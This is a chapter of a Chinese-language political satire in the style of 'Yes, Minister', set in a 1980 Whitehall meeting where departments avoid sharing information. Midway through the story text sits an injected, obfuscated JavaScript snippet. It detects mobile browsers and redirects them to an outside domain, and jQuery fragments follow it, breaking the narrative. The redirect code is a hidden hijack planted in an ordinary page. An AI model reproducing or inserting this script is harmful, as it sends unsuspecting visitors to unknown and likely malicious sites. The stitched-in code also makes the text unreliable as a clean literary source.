【初启航】S01E01 《信息币》（Information Currency）
1980年1月23日，星期三。
午后的阳光斜斜穿过白厅街那扇高窗，在地毯上投下一块苍白的矩形。
这间被戏称为“镀金笼子”的办公室内，充满了查尔斯·海德（Charles Hyde）大臣那几乎要凝成实质的烦躁感。
那块崭新的可擦写板在他到岗第一天的下午，就如阿利斯泰所言在办公桌旁落位，上面用黑色马克笔潦草地圈画着部门名称和关键词，箭头与问号交织。
查尔斯正对着它踱步，手指无意识地敲击着白板边缘，发出轻微的嗒嗒声。
他穿着一套笔挺的纯黑色西装，以自由党代表色金与黄为主的斜条纹领带，少见地系着完美的半温莎结，甚至刻意修出了双酒窝。
或许他正在试图用外在的郑重，驱散对即将到来的会议那丝荒诞感。
“跨部门信息共享例会（Inter-Departmental Information Sharing Liaison Meeting）……” 查尔斯盯着日程表，一字一顿复述那拗口的条目。
那拗口的名字在西里尔昨天下午部门内会议的简报中听起来还像那么回事——一个推动政府现代化、打破部门壁垒的崇高起点。但现在查尔斯念着，却觉得它更像一个精心设计的官僚笑话。
门被轻轻敲响，西里尔·埃斯利（Cyril Astley）探进头来。
“大臣，各部门的代表陆续到了，安排在楼下的‘协作室’。”他手里抱着一摞文件，蓝色的眼睛里藏着些不易察觉的紧张，这毕竟也算他作为PPS参与的第一次正式会议——假设这算正式会议的话。
“‘协作室’？听起来真够鼓舞人心的。我们的‘胜利者’勋爵呢？他准备好他新的‘礼仪即规章，规章即礼仪’式绕口令来在会议上发言了吗？”
“Sir…阿利斯泰·卡文迪许勋爵（Lord Alistair Cavendish）已经在那里了。” 西里尔顿了顿，补充道：“按照……呃，白厅的惯例，这种会议通常由常任秘书或其代表主持，但如果您希望亲自……”
“当然是我主持，西里尔。”查尔斯打断他，“这是我们协同协调部的首秀，不是吗？总得让大家知道，我们不是来喝茶聊天的。”
他拿起那份由阿利斯泰“建议”、西里尔起草的会议议程草案，上面列着诸如“明确信息共享范围”、“确立标准化数据格式”、“建立定期沟通机制”的条目，看上去都“合理且必要”。
“IDISLM？他们就不能想个像人话的名字吗？这听起来就是像肠道疾病，或某个监听项目代号。”查尔斯念出这个拗口的缩写，忍不住吐槽。
“这恐怕也是白厅的传统，大臣。”西里尔接上，“冗长的名称能有效降低外部期望，增加内部神秘感，并确保其真实意图——通常是毫无意图——不被轻易识破。”
“阿利斯泰勋爵认为，这次会议是建立DSC基础运作流程、接触各部关键联络人的起点……”他谨慎地选择措辞，“若您亲自主持，建议首场仍以观察和倾听为主。此类会议的‘成功’，常取决于出席本身与后续报告的措辞。”
“‘出席即成功’？”查尔斯扬了扬文件。
附录里是各部门“共享意愿”初清单，清一色的摘要的摘要，趋势的趋势。条目基本上是一些公开版信息，字面意义上的公开信息，毫无价值。“连基本信息都共享不动，谈什么优化效率？”
“我们不是来白厅打卡的，DSC得‘协同协调’，不是写字。”他将草案拍在桌上。
“Yes, Minister.”西里尔轻轻踮了踮脚，“不过，我想我们应该尽快移步‘协作室’了。”
查尔斯深深地看了自己年轻的首席私人秘书一眼，最后应道：“走吧，让我们看看白厅这台机器，到底有多少零件需要上点‘协同’的润滑油。”
两人下到二楼。
协作室内，一张巨大的长桌占据了房间中央，周围摆放着十几把高背椅。
阿利斯泰已端坐在长桌的一端——并非主位，那是留给查尔斯的——而是紧邻主位右侧的位置。
他像一块嵌入环境的灰色大理石，铂金色的发丝在灯光下泛着光泽，炭灰色三件套与会议室背景融为一体。灰绿色的眼眸低垂，正专注地审阅着面前一份文件，左手无名指上的绿宝石戒指在翻阅纸张的间隙偶尔闪过一点幽光。仿佛他正身处内阁会议，而非一个初生部门的首次“协调”尝试。
当查尔斯大步流星地走进来，带着一股刻意营造的“新官上任”的热风时，阿利斯泰才缓缓抬起头。
“下午好，大臣。”他起身，替查尔斯拉开主位椅子。
“下午好，勋爵。”查尔斯回应，刻意加重了头衔。
目光扫过会议室，稀稀拉拉坐着七个部门的代表，彼此间的距离像是部门的鸿沟。
代表们大多职位不高，神情带着例行公事的倦怠和不算明显的轻视。
能源部、工业部、就业部、卫生部、苏格兰事务部、威尔士事务部……都是些与“协同协调”沾点边，但核心权力远在别处的部门——其中能源部、就业部和苏格兰事务部都是首相划分安置自由党的部门。
他认出了国防部代表，一位神色严肃的中校，正襟危坐着。他算是与会者中级别最高的了。
“看来，‘信息共享’的热情在白厅还处于……萌芽阶段？”查尔斯坐下，向右边微微偏头道。
“出席率本身，大臣，就是初级阶段最有价值（value）的信息（Information）。”阿利斯泰低声道，“它标定我们当下在优先序列中的位置……以及，哪些部门认为值得在此刻投入时间成本。”
西里尔在查尔斯左手边坐下，摊开了笔记本。
会议开始。
按议程，首先是“信息共享机制现状汇报”。
工业部那位头发花白、眼镜滑到鼻尖的副司长首先发言，声音平板得像在读一份器械的使用手册。
“……工业部内部信息流转，主要通过每周司长简报及月度数据汇编。跨部门层面，主要遵循《白厅核心事务通报备忘录（1978年修订版）》第4章第2节流程……确保信息传递的准确性和……嗯，可追溯性（traceability）。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294769|182690||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他花了整整五分钟详尽地描述文件编号体系和归档规则，听得查尔斯眼皮发沉。
“那么效率呢？”查尔斯打断他，身体前倾，手指无意识地敲击桌面，“我是说，当你们需要快速了解，比如……财政部对某个特定行业补贴的最新立场时？”
工业部代表推了推眼镜，茫然地眨眨眼：“效率？大臣，程序（procedure）确保了准确性和可追溯性。我们通常会在下一季度综合财政报告发布后，进行交叉比对分析。或者，在必要时，通过正式公文渠道进行质询，这通常需要……嗯，五到七个工作日得到初步回应。”
“五到七天？事情都结束了。（That ship has sailed.）”查尔斯忍不住皱眉道，“难道没有更……即时的沟通？像是电话？非正式交谈？”
桌对面传来一声几不可闻的轻咳。就业部的一位年轻官员，脸上带着初生牛犊的些许紧张，小心翼翼地开口：“大臣，非正式渠道……存在信息扭曲和权责不清的风险。根据《文官守则》，尤其涉及预算和劳工政策敏感领域，一切交流需留有书面记录（a written record），以备……”他瞥了一眼阿利斯泰平静无波的脸，声音低了下去，“……审计和质询。”
“精确性是官僚体系的基石，大臣。”阿利斯泰适时补充，“模糊的‘即时’，往往是后续漫长纠错的起点（The seed of protracted rectification）。书面记录，虽然看似迟缓，却是维系责任链条的……必要冗余。”
查尔斯感到一阵无力，他转向能源部代表，一位精干的青年文官：“能源部呢？北海油田的实时产量波动，与财政部预算、工业部下游分配，总需要快速协调吧？”
能源部代表露出职业化的微笑，熟练地筑起高墙：“我们有完善的内部日报机制。跨部门层面，涉及重大数据变动，我们会通过加密电传抄送相关常任秘书办公室，并附上标准格式的数据摘要。这确保了信息的权威性和……分发范围的精确控制（precise distribution control）。”
“精确控制……”查尔斯咀嚼着这个词组，目光投向一直沉默的国防部中校。
“中校，国防事务瞬息万变。你们如何确保与……例如，外交部或内政部的关键信息同步？总不会也靠下周的简报吧？”
中校挺直脊背：“国防部有最高优先级的信息传递系统，直通相关大臣及常任秘书。跨部门协调涉及国家安全时，依据《联合情报委员会（JIC）信息共享协议框架》执行。日常事务，”他顿了顿，目光扫过会议室，带着点不易察觉的居高临下，“通过既定联络官渠道和标准化备忘录进行。效率服从于安全与程序，这是铁律（Iron rule）。”
查尔斯几乎要呻吟出声。
他算是彻底明白了，这个“信息共享例会”，本质上是一场‘如何体面地不共享信息’的经验交流会。每个部门都筑起了高高的信息壁垒，壁垒上还挂满了名为“程序”、“安全”、“责任”、“格式”的荆棘，并且引以为豪。
协同？
协调？
在这里像个天真的笑话。